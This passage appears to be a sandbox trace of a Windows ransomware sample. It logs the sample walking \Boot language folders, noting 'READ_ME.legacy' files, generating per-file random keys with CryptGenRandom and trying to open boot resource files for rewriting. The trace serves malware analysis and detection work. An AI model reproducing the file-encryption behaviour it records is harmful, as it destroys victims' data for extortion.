ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0109.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c2c78 [0109.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c11a8 [0109.300] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2c78 | out: pbBuffer=0x5c2c78) returned 1 [0109.300] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c11a8 | out: pbBuffer=0x5c11a8) returned 1 [0109.300] SetFileAttributesW (lpFileName="\\Boot\\lv-LV\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0109.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.301] CreateFileW (lpFileName="\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0109.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0109.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0109.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563de8 | out: hHeap=0x520000) returned 1 [0109.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563e60 | out: hHeap=0x520000) returned 1 [0109.301] FindFirstFileW (in: lpFileName="\\Boot\\nb-NO\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a06a8 [0109.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0109.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0109.301] GetLastError () returned 0x5 [0109.301] SetLastError (dwErrCode=0x5) [0109.301] GetLastError () returned 0x5 [0109.301] SetLastError (dwErrCode=0x5) [0109.301] GetLastError () returned 0x5 [0109.301] SetLastError (dwErrCode=0x5) [0109.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0109.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0109.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0109.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0109.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a00a8 [0109.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a00a8 | out: hHeap=0x520000) returned 1 [0109.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20228 [0109.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20228 | out: hHeap=0x520000) returned 1 [0109.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0109.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0109.302] FindNextFileW (in: hFindFile=0x5a06a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0109.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0109.302] GetLastError () returned 0x5 [0109.302] SetLastError (dwErrCode=0x5) [0109.302] GetLastError () returned 0x5 [0109.302] SetLastError (dwErrCode=0x5) [0109.302] GetLastError () returned 0x5 [0109.302] SetLastError (dwErrCode=0x5) [0109.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d98 [0109.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d500 [0109.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0109.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0109.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a05a8 [0109.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a05a8 | out: hHeap=0x520000) returned 1 [0109.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0109.303] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0109.303] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0109.303] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d98 | out: hHeap=0x520000) returned 1 [0109.303] FindNextFileW (in: hFindFile=0x5a06a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.303] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0109.303] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0109.303] GetLastError () returned 0x5 [0109.303] SetLastError (dwErrCode=0x5) [0109.303] GetLastError () returned 0x5 [0109.303] SetLastError (dwErrCode=0x5) [0109.303] GetLastError () returned 0x5 [0109.303] SetLastError (dwErrCode=0x5) [0109.303] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0109.303] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0109.303] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0109.303] FindNextFileW (in: hFindFile=0x5a06a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.303] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0109.303] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0109.303] GetLastError () returned 0x5 [0109.303] SetLastError (dwErrCode=0x5) [0109.303] GetLastError () returned 0x5 [0109.303] SetLastError (dwErrCode=0x5) [0109.303] GetLastError () returned 0x5 [0109.303] SetLastError (dwErrCode=0x5) [0109.303] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0109.303] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0109.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0109.304] FindNextFileW (in: hFindFile=0x5a06a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1baf8a7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1baf8a7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0109.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0109.304] GetLastError () returned 0x5 [0109.304] SetLastError (dwErrCode=0x5) [0109.304] GetLastError () returned 0x5 [0109.304] SetLastError (dwErrCode=0x5) [0109.304] GetLastError () returned 0x5 [0109.304] SetLastError (dwErrCode=0x5) [0109.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0109.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0109.304] FindNextFileW (in: hFindFile=0x5a06a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1baf8a7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1baf8a7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0109.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c2858 [0109.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1188 [0109.304] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2858 | out: pbBuffer=0x5c2858) returned 1 [0109.304] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1188 | out: pbBuffer=0x5c1188) returned 1 [0109.304] SetFileAttributesW (lpFileName="\\Boot\\nb-NO\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0109.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0109.305] CreateFileW (lpFileName="\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0109.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0109.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0109.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c2018 [0109.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1138 [0109.305] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2018 | out: pbBuffer=0x5c2018) returned 1 [0109.305] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1138 | out: pbBuffer=0x5c1138) returned 1 [0109.305] SetFileAttributesW (lpFileName="\\Boot\\nb-NO\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0109.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0109.305] CreateFileW (lpFileName="\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0109.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0109.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0109.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ed8 | out: hHeap=0x520000) returned 1 [0109.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f00 | out: hHeap=0x520000) returned 1 [0109.306] FindFirstFileW (in: lpFileName="\\Boot\\nl-NL\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a00a8 [0109.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0109.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0109.306] GetLastError () returned 0x5 [0109.306] SetLastError (dwErrCode=0x5) [0109.306] GetLastError () returned 0x5 [0109.306] SetLastError (dwErrCode=0x5) [0109.306] GetLastError () returned 0x5 [0109.306] SetLastError (dwErrCode=0x5) [0109.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567038 [0109.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d818 [0109.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0109.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0109.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a03a8 [0109.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a03a8 | out: hHeap=0x520000) returned 1 [0109.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20210 [0109.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20210 | out: hHeap=0x520000) returned 1 [0109.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0109.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567038 | out: hHeap=0x520000) returned 1 [0109.307] FindNextFileW (in: hFindFile=0x5a00a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0109.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0109.307] GetLastError () returned 0x5 [0109.307] SetLastError (dwErrCode=0x5) [0109.307] GetLastError () returned 0x5 [0109.307] SetLastError (dwErrCode=0x5) [0109.307] GetLastError () returned 0x5 [0109.307] SetLastError (dwErrCode=0x5) [0109.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0109.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d978 [0109.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0109.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0109.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a03a8 [0109.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a03a8 | out: hHeap=0x520000) returned 1 [0109.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0109.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0109.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0109.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0109.307] FindNextFileW (in: hFindFile=0x5a00a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.307] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0109.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0109.308] GetLastError () returned 0x5 [0109.308] SetLastError (dwErrCode=0x5) [0109.308] GetLastError () returned 0x5 [0109.308] SetLastError (dwErrCode=0x5) [0109.308] GetLastError () returned 0x5 [0109.308] SetLastError (dwErrCode=0x5) [0109.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0109.308] FindNextFileW (in: hFindFile=0x5a00a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0109.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0109.308] GetLastError () returned 0x5 [0109.308] SetLastError (dwErrCode=0x5) [0109.308] GetLastError () returned 0x5 [0109.308] SetLastError (dwErrCode=0x5) [0109.308] GetLastError () returned 0x5 [0109.308] SetLastError (dwErrCode=0x5) [0109.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0109.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0109.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0109.308] FindNextFileW (in: hFindFile=0x5a00a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1baf8a7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1baf8a7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0109.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0109.308] GetLastError () returned 0x5 [0109.308] SetLastError (dwErrCode=0x5) [0109.308] GetLastError () returned 0x5 [0109.309] SetLastError (dwErrCode=0x5) [0109.309] GetLastError () returned 0x5 [0109.309] SetLastError (dwErrCode=0x5) [0109.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0109.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0109.309] FindNextFileW (in: hFindFile=0x5a00a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1baf8a7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1baf8a7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1baf8a7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0109.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c2120 [0109.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c0fc8 [0109.309] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2120 | out: pbBuffer=0x5c2120) returned 1 [0109.309] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c0fc8 | out: pbBuffer=0x5c0fc8) returned 1 [0109.309] SetFileAttributesW (lpFileName="\\Boot\\nl-NL\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0109.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.309] CreateFileW (lpFileName="\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0109.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0109.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0109.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c2f90 [0109.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1088 [0109.310] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2f90 | out: pbBuffer=0x5c2f90) returned 1 [0109.310] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1088 | out: pbBuffer=0x5c1088) returned 1 [0109.310] SetFileAttributesW (lpFileName="\\Boot\\nl-NL\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0109.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0109.310] CreateFileW (lpFileName="\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0109.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0109.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0109.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0109.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563e10 | out: hHeap=0x520000) returned 1 [0109.310] HeapFree (in: hHeap=0x520000, 